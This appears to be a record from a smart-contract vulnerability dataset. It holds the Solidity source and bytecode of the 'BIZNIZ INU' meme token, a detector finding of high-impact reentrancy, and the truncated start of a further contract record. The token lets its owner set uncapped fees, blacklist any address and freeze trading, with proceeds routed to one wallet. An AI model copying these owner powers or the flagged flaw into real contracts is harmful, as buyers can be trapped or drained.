/** ELON TWEET BIZNIZ INU Telegram: https://t.me/BiznizInu */ /** */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BiznizInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "BIZNIZ INU"; string private constant _symbol = "BIZNIZ"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x90B5b82fBCE6f369515C99629C9D5443f34C5bca); address payable private _marketingAddress = payable(0x90B5b82fBCE6f369515C99629C9D5443f34C5bca); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b257600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611961565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600a81526942495a4e495a20494e5560b01b60208201525b60405161023a9190611a26565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a7b565b61069c565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611aa7565b6106b3565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601554610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ae8565b61071c565b34801561036e57600080fd5b506101fc61037d366004611b15565b610767565b34801561038e57600080fd5b506101fc6107af565b3480156103a357600080fd5b506102c26103b2366004611ae8565b6107fa565b3480156103c357600080fd5b506101fc61081c565b3480156103d857600080fd5b506101fc6103e7366004611b30565b610890565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ae8565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611b15565b6108bf565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b506040805180820190915260068152652124ad2724ad60d11b602082015261022d565b3480156104be57600080fd5b506101fc6104cd366004611b30565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b49565b610936565b3480156104fe57600080fd5b5061026361050d366004611a7b565b610974565b34801561051e57600080fd5b5061026361052d366004611ae8565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b7b565b6109d5565b34801561058357600080fd5b506102c2610592366004611bff565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b30565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611ae8565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c38565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c6d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c99565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611db3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c38565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c38565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c38565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c38565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c38565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c38565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c38565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c38565b60005b82811015610a70578160056000868685818110610a2157610a21611c6d565b9050602002016020810190610a369190611ae8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c99565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c38565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c38565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611cb4565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c5750601554600160a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b03858116911614801561119457506014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611470565b600081848411156112135760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611ccc565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461149e565b90506112e083826114c1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c6d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138357600080fd5b505afa158015611397573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bb9190611ce3565b816001815181106113ce576113ce611c6d565b6001600160a01b0392831660209182029290920101526014546113f49130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611d00565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147d5761147d611503565b611488848484611531565b80610a7057610a70600e54600c55600f54600d55565b60008060006114ab611628565b90925090506114ba82826114c1565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611668565b600c541580156115135750600d54155b1561151a57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154387611696565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157590876116f3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a49086611735565b6001600160a01b0389166000908152600260205260409020556115c681611794565b6115d084836117de565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161591815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164382826114c1565b82101561165f57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116895760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611d71565b60008060008060008060008060006116b38a600c54600d54611802565b92509250925060006116c361149e565b905060008060006116d68e878787611857565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117428385611cb4565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b600061179e61149e565b905060006117ac83836118a7565b306000908152600260205260409020549091506117c99082611735565b30600090815260026020526040902055505050565b6006546117eb90836116f3565b6006556007546117fb9082611735565b6007555050565b600080808061181c606461181689896118a7565b906114c1565b9050600061182f60646118168a896118a7565b90506000611847826118418b866116f3565b906116f3565b9992985090965090945050505050565b600080808061186688866118a7565b9050600061187488876118a7565b9050600061188288886118a7565b905060006118948261184186866116f3565b939b939a50919850919650505050505050565b6000826118b6575060006106ad565b60006118c28385611d93565b9050826118cf8583611d71565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561195c8161193c565b919050565b6000602080838503121561197457600080fd5b823567ffffffffffffffff8082111561198c57600080fd5b818501915085601f8301126119a057600080fd5b8135818111156119b2576119b2611926565b8060051b604051601f19603f830116810181811085821117156119d7576119d7611926565b6040529182528482019250838101850191888311156119f557600080fd5b938501935b82851015611a1a57611a0b85611951565b845293850193928501926119fa565b98975050505050505050565b600060208083528351808285015260005b81811015611a5357858101830151858201604001528201611a37565b81811115611a65576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8e57600080fd5b8235611a998161193c565b946020939093013593505050565b600080600060608486031215611abc57600080fd5b8335611ac78161193c565b92506020840135611ad78161193c565b929592945050506040919091013590565b600060208284031215611afa57600080fd5b81356112e08161193c565b8035801515811461195c57600080fd5b600060208284031215611b2757600080fd5b6112e082611b05565b600060208284031215611b4257600080fd5b5035919050565b60008060008060808587031215611b5f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9057600080fd5b833567ffffffffffffffff80821115611ba857600080fd5b818601915086601f830112611bbc57600080fd5b813581811115611bcb57600080fd5b8760208260051b8501011115611be057600080fd5b602092830195509350611bf69186019050611b05565b90509250925092565b60008060408385031215611c1257600080fd5b8235611c1d8161193c565b91506020830135611c2d8161193c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cad57611cad611c83565b5060010190565b60008219821115611cc757611cc7611c83565b500190565b600082821015611cde57611cde611c83565b500390565b600060208284031215611cf557600080fd5b81516112e08161193c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d505784516001600160a01b031683529383019391830191600101611d2b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dad57611dad611c83565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206201da968d6ef51bea3520f9f2ed0ad9b539b59fe412418dc0952aeac9f17d9f64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
248
0x3c6a658ad84a768cd690046f22bea9ead82e1b43
/** *Submitted for verification at Etherscan.io on 2021-07-26 */ //SPDX-License-Identifier: Unlicense pragma solidity ^0.7.3; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function ceil(uint256 a, uint256 m) internal pure returns (uint256 r) { require(m != 0, "SafeMath: to ceil number shall not be zero"); return (a + m - 1) / m * m; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- /** * @dev Interface of the erc20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value 